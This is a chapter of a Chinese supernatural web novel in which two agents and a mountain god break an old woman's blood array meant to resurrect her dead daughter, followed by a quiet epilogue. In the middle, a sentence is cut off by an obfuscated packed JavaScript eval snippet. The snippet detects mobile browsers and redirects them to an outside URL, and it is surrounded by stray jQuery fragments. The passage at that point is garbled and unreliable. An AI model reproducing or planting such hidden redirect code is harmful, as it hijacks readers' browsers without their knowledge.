栾柠同样被敲击声吸引，可当她以视线四处找寻声源，被背包里的吸引看向地面，却意外注意到碎石的异样。


    女孩凭借色感，注意到乍一看毫无破绽的地面上暗藏着暗红色的图纹！


    【这些纹样，下地窖的时候没有吧？】她紧急呼唤同伴们，“小解！新月大人！地上！”


    众目睽睽之下，纹案色彩渐艳，顷刻间由暗色转为鲜艳的红——


    【是血】观众的认知一致。


    血纹疯长着，几息之后即地毯似的铺遍全屋，然而观众惊愕地发现纹样并没有止步于此，而是溢出门缝，扬长而去。


    “我们是不是应该逃跑了？”女孩呼唤同伴，一行人向房间外奔去，最后一个出门的解悬回头看了一眼陈茹，却见对方似乎没有阻拦的意思，心中觉得不对。


    只见走廊、前台，处处地面上均覆盖着咒文。


    他们顺利到达大门前，解悬与山神各显神通，却无论如何踏不出月乡半步。


    “你们出不去，”陈茹清晰的声音由身后传来，“一整个月乡都画了阵。”


    栾柠转身，只见婆婆咧嘴大笑，露出稀缺的牙齿，“我一点一点画，画了十五年！”


    栾柠意识到，法阵原来早已暗伏于地表，只是浅薄的血液因经年累月的氧化，早已与碎石地混沌一气。


    她苦中作乐地和搭档说道:“小解你之前说邪术不强是因为人类无法一次性失去大量血液，经不住人家持之以恒，积少成多啊......”


    “是这样没错。”解悬也不得不佩服道。


    与此同时山神解读出地上咒文的含义：


    “...以生魂祭迎流魄归...”


    新月神面色凝重：“复苏术！”祂质问陈茹，“那邪神竟然授予你此等邪术！”


    老人冷哼一声，不愿理会山神。


    ......


    “小解，复苏术为什么是邪术？听起来像施救的咒术。”栾柠又和搭档说起小话。


    “是‘死而复生’的法术。”解悬的脸色也并不好看。


    “死而复生？真的能做到吗？”栾柠在故事汇里倒是看过题材相似的故事，但结局无一例外以失败告终。


    “理论上能。”解悬凝重地点头，“常言道：‘人死不能复生’，但其实术千年前已经有术士钻研复生之术，只是条件苛刻，需持有亡者魂魄，且驱动的代价巨大，需群体献祭，可谓是‘以数命易一命’，这才导致复苏术被列为禁术，疑似失传，可如今看来......”


    “肯定没失传啊！”栾柠明白过来搭档的意思，“看来婆婆是想复活陈玉。”


    “新月大人，您知道破解法阵的办法吗？”女孩询问博学的神明。


    “须破坏阵眼...”山神话说一半，忽然向后倒地，同时解悬眼疾手快地接下了因法术失效而险些落地都陈惠惠。


    “阵法在吞噬我的神力。”新月留下句话，失去了意识。祂被解悬安置在陈惠惠身旁。


    “新月大人没事吧？”栾柠关心道。


    “在神力流尽前破阵就没事。”解悬判断道，“如今只能依靠我们了。”


    “小解，你知道新月大人说的阵眼是什么吗？”女孩问。


    “阵眼即为法阵核心，以复苏术来说，核心是亡者之魂。”


    只是他仍有疑惑：


    “既然我们被锁住了，说明阵法已启动。可复苏术本应首先吸食施术者的生命为能源，”少年看向面色如常的老人，“陈茹却并没有被阵法伤害的迹象。反而是山神被汲取了神力。”


    “婆婆，您究竟抓我们要做什么？”栾柠直接问操盘者。


    “自己想。”陈茹撂下句话便闭口不言。


    外勤小队只能自行寻找破阵的线索。


    ......


    “小解！那块法阵好像有修补的痕迹!”栾柠指向身侧的地面，红色圆弧下隐约透出道更暗更浅的画痕。


    少年看向女孩所指的方向，“这法阵曾驱动过一次。大概是失败了，这才需要修补。”


    “法术失败了?”栾柠喃喃自语道，她模糊地记得自己在哪听过这个说法，


    【！】“小解！我知道了！”女孩激动得连续拍打了十数下解悬的大臂，


    “我问过婆婆她的左眼为什么是假的！当时她就告诉我是因为法术失败了！她一定是曾经尝试复苏术，却以失败告终。”


    少年推进对陈茹行为的认识：“应该是她主动停止了复苏术，再加上她企图占据陈惠惠的身体，这都说明她有求生的欲望。既然如此，她又为何在此时选择再尝试一次？”


    “因为...我们？”栾柠提出显而易见的变量，“‘以命易命’，有规定只能以施术者的命作交易吗？”


    “虽然没有明文规定，但阵法自然会寻找供血之人，除非那人无法提供生命......”


    女孩发现新的问题：“怎么判断是否能提供生命？”


    “人类最珍贵的便是魂魄，阵法以它定位——”解悬猛地看向栾柠，把她吓了一跳。


    “怎么了？”


    “我明白了，”少年高声向陈茹确认：


    “你先给陈惠惠和自己换魂，换生术需八十一日，这期间你们的灵魂糅杂在一起。再施复苏术，因施术者灵魂不纯，复苏阵被迫向外汲取能量，于是困住了我们。


    你要以我们驱动阵法。


    在阵法看来，山神是我们中能力最强的，所以它先吸取了山神的神力，等山神陨灭，若是阵法仍未成，下一个便是我，最后是她。”解悬指向边上的栾柠。


    “是这个道理。”老人大方承认了。


    【是要我们的命？】栾柠有种不真实感，因此一时之间反而并不觉得害怕。


    “小解，你有没有觉得，婆婆变年轻了？”栾柠注意到另一件事，她偷偷观察坐在柜台上的婆婆，


    【看皮相和骨相，怎么最多只有五十岁的样子了？


    瞳孔好像也变了？像猫？】


    ......


    “皱纹似乎是少了，”少年认同道，“应该和她忽然变强的力量有关。我曾听过请邪神上身可短暂返老还童。等效果一过，人便油尽灯枯了。”


    “我能撑到小玉回来就好。”陈茹的声音又年轻不少。


    “婆婆，”女孩问道：“要是我们三个加起来也不够复活陈玉的呢？”


    “那我就解开换生咒，把陈惠惠、把我都用上。可惜鬼魂不可以，陈蕙用不上。”陈茹除了先前和山神说话，其他时候的语气一贯轻松。


    “为了一个人，牺牲...”栾柠本想问“值得吗？”她瞥见那张三十年的遗照，却觉得答案显而易见。


    “换生咒是需要魂魄的，你有陈玉的魂？”解悬问。


    婆婆不说话，她知道阵眼的重要性。


    栾柠猛地回忆起，“她看陈玉的临终记忆时，是以第三视角展开的，看她爸的却是以第一视角，是因为她爸的魂魄缺失，而陈玉的魂魄还在...”魂魄在——


    在照片里！


    ......


    “小解！照片！”话音未落，心领神会的解悬已经以火箭般的速度冲向陈茹房间。


    “滚开！”恢复至四十岁左右的陈茹竖起瞳孔，以几乎同样的速度从柜台上弹起。


    栾柠追到房间门口，只见婆婆以距离优势抢在少年之前将遗照揽入怀中，之后一个闪身，擦过女孩的头飞了出去。


    解悬飞、栾柠跑地追了上去。


    少年继续伸手抢夺陈茹怀中的照片，被迫左右侧身闪躲，连连后退，只能以腿回击。一时之间白发少年和白发老太你追我逃，房间里传播着拳脚相击的声音。


    栾柠也想帮忙，无奈实在跟不上他们的速度，只能想办法智取。她转着眼珠子思考时，正好转见到山神身上，


    “小解！新月大人变半透明了！可能快不行了！”


    刚以小臂格挡下飞踢的解悬抽空扫了眼地上，随即加快了手上的动作。


    可三十岁的陈茹动作同样越来越快，女孩意识到小解需要帮助。


    【需要让他说一句谎。】女孩倏地想起解悬之前的做法。


    “婆婆！你真的是偶然遇见陈惠惠的吗？”


    ......


    “是...”年轻反应快的陈茹话还没完全说出口，一下想起了解豹的说法，“立刻改口道：“不是！我一直从医院找孩子的八字！陈惠惠是我找到的和我命格相配的。”解悬眼中的金光未燃起变熄灭了。


    一计不成，栾柠环顾四周，整个月乡此时除了她和打斗的两位，其他都躺下了，


    【要不还是找鬼吧！】她重新燃起了打电话给末末的念头，


    【或许附近有个鬼差啥的能借调一下。】


    女孩拿起手机正要按键，忽然见到柜台上的招财猫。


    【等等、鬼？】


    栾柠意识到：


    【这个宾馆里不是还有个鬼吗！】


    “小解！”她挥舞着招财猫，“我能把陈蕙放出来吗？”


    解悬边打边思考，“放吧！”


    少年在心中估计，驭鬼也需精力，陈茹分身乏术，应该顾不上。


    陈茹心知不妙，遇上前阻止，却被解悬缠住了。


    ......


    “啪！”


    瓷制的招财猫碎了一地，


    一阵黑雾从中升起，待雾散尽，一个披头散发、双目血红的女人出现在碎片中间。


    “陈茹，你为什么不放过惠惠！”陈蕙猛地扑向年轻的婆婆。


    解悬适时地一闪身，两个女人便打斗在一起。


    少年在一旁辅助，陈蕙前扑时他便等在陈茹的后退之路上，很快他们便将陈茹按在地上。


    “栾柠！”解悬将抽出的遗照递给女孩。


    “还给我！”二十岁的陈茹怒目圆睁，四肢仍在奋力挣扎，换来陈蕙的一呲牙。


    “我们要怎么破阵？”女孩不确定地问道，“砸了相框吗？”


    “理论上可行。”解悬点头。


    “不行！”陈茹的挣扎更加激烈，竖瞳中流出血泪。


    “邪神的附身效果快过去了。”解悬告知她。


    “咳、咳、不能摔相框。”陈茹咳出一口血，解悬注意到她的衰老似乎又开始了。


    一岁，两岁......岁月的痕迹一点一滴地从鼻侧、眼角重现在她的脸上。


    女孩看向地上几乎消失殆尽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427376|169135||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的山神，和依旧昏迷不醒的孩子，最终避过陈茹的目光，毅然决然地将相框往地上一砸。


    伴随着清脆的响声，相框上的玻璃碎落，里面的遗照自发从相框中逃飞出，再落地时里面的人物已然失踪，同一时间，栾柠看见陈玉后脑上的血块。


    “娘？”陈玉正好看见地上和她最后一次见到的一模一样的母亲。可紧接着她的眼神变得空洞，呆呆傻傻地矗立在原地，任凭陈茹如何呼喊也没有反应。


    “她这是滞留人间太久，失忆了？”解悬咨询见鬼专家——栾柠。


    “是，除了厉鬼，其他鬼魂如果不及时投胎，就会像这样失去记忆，变成孤魂野鬼。所以我都工作才重要。”栾柠有些难受。


    “婆婆，”她走向痛哭的陈茹，见她已恢复原样，“你放心，陈玉这个情况，还能投胎，虽然这辈子的记忆丢了，下辈子照样过的。”


    陈茹自知已没有再次驱动复苏阵的能力，她颤颤巍巍地取下脖子上的血符，扔了出去，砸得粉碎。


    “这样换生也解除咯，就当是给小玉下辈子积点德。”婆婆疲惫地闭上双眼。


    ......


    栾柠亲手为婆婆整理了遗容，在山村送了她最后一程。


    鬼差接走了陈茹母女，陈蕙母女则跟随山神回了新月山，一切尘埃落定。


    外勤小队登上回程的大巴，栾柠刚上车就认出了驾驶位上的熟人。


    “诶，又是你们俩！这个白毛我隔老远就看见了！”司机大哥同样记得他们。


    “哥！谢谢你给我们推荐月乡宾馆！”女孩感谢道，全靠月乡他们才能顺藤摸瓜找到陈惠惠。


    “啥？月乡？”司机诧异地扬起眉毛，“搞错了吧！我没给你们推荐住的地啊。


    就是推荐也不能推荐月乡啊！


    那地方大家都不爱去，听说里面那老太太神神叨叨的，全靠给人断事才勉强把店开下去。”


    “那可能是记错了。”解悬冷静地拉着欲言又止的栾柠往后走。


    一入座女孩就炸毛了，“难怪我们两次来回月乡都没见到其他住客呢！那是谁故意引我们去月乡？”


    “他给我们指了路。”少年分析道，


    “谢逑！”“谢逑。”两人不约而同地脱口而出。


    “他究竟是干什么的？”栾柠盘起手臂思考，“从目前这两次外勤来看，他是在帮我们，可帮忙就帮忙，他为什么鬼鬼祟祟的？”


    “或许下次再发现他的踪迹，能问清楚。”解悬看向窗外他们曾经听见司机声音的位置，那是谢逑最后靠近他们的地方。


    ......


    这次精神头挺好的栾柠没有睡觉，而是兴致勃勃地拉着解悬聊天。


    “我一直想问你，”女孩闪着大眼睛兴奋地盯着解悬，“你最初看到的山神是什么样子的？”


    少年尽力具象化地描述：“是...一根光柱。”


    “光柱？”栾柠疑惑地抬起眉毛，“什么样的？”


    “没有五官、周身是象征神力的金光，和我以前见过的神差不多。”解悬努力挤出更多形容词。


    “你还见过其他的神！太厉害了小解！”女孩又提起兴趣，再度发问：“那其他的神是什么样的？”


    “也是一堆...”


    “光柱？”栾柠抢答。


    “嗯。”


    “好吧。”女孩倒没有多失望，她已经逐渐习惯了解悬的说话方式。


    “其实...我也有一个问题想问你。”


    “你问！”栾柠感觉是第一次听见搭档在工作以外问问题。


    “人类为什么会惧怕死亡？”少年的生命望不到终点，他终究无法理解人类对死亡的恐惧，以至于生者渴求延寿，死者被盼复生。


    “小解你怎么这样！我问你的问题那么简单，你问我的这么难答！”女孩佯装生气谴责道。


    “对不起。那我撤回。”少年光速道歉。


    栾柠变脸似的由怒转笑，“但好像你答得也不轻松！”她接着正色道：“其实我也不能代表全体人类回答这个问题，只能试着以我的角度讲讲。


    对于我来说，我觉得除去过程中可能有的病痛，我其实并不是畏惧死亡本身，而是害怕失去当下我所拥有的、我很珍惜的东西。比如说我们楼下早餐店的包子，我们住的小房子，又比如说和你继续搭档的机会啦。”女孩讲到这脸上又换上笑意，可紧接着又垂下嘴角，


    “可好像越珍惜的东西就越容易失去呢。我觉得陈茹婆婆的一生，太苦了。


    所以话又说回来，我们要趁拥有的时候，好好珍惜当下！”女孩重展笑容。


    ......


    地府驻人间办事处遗容组，三日后。


    刚送走一位客户的栾柠顺手打开广播，清澈的男童声介绍道：“下面我将为大家朗读《全国小学生优秀作文》入选作品。


    《我的家乡》


    作者：陈惠惠


    我的家乡是座小山村，位于名叫新月山的美丽大山里。妈妈从小就告诉我：我是大山的孩子。


    新月山里有可爱的小鸟、茂密的树林、还有神奇的新月山神庙。我听村里的老人说：新月山神能实现所有的愿望......”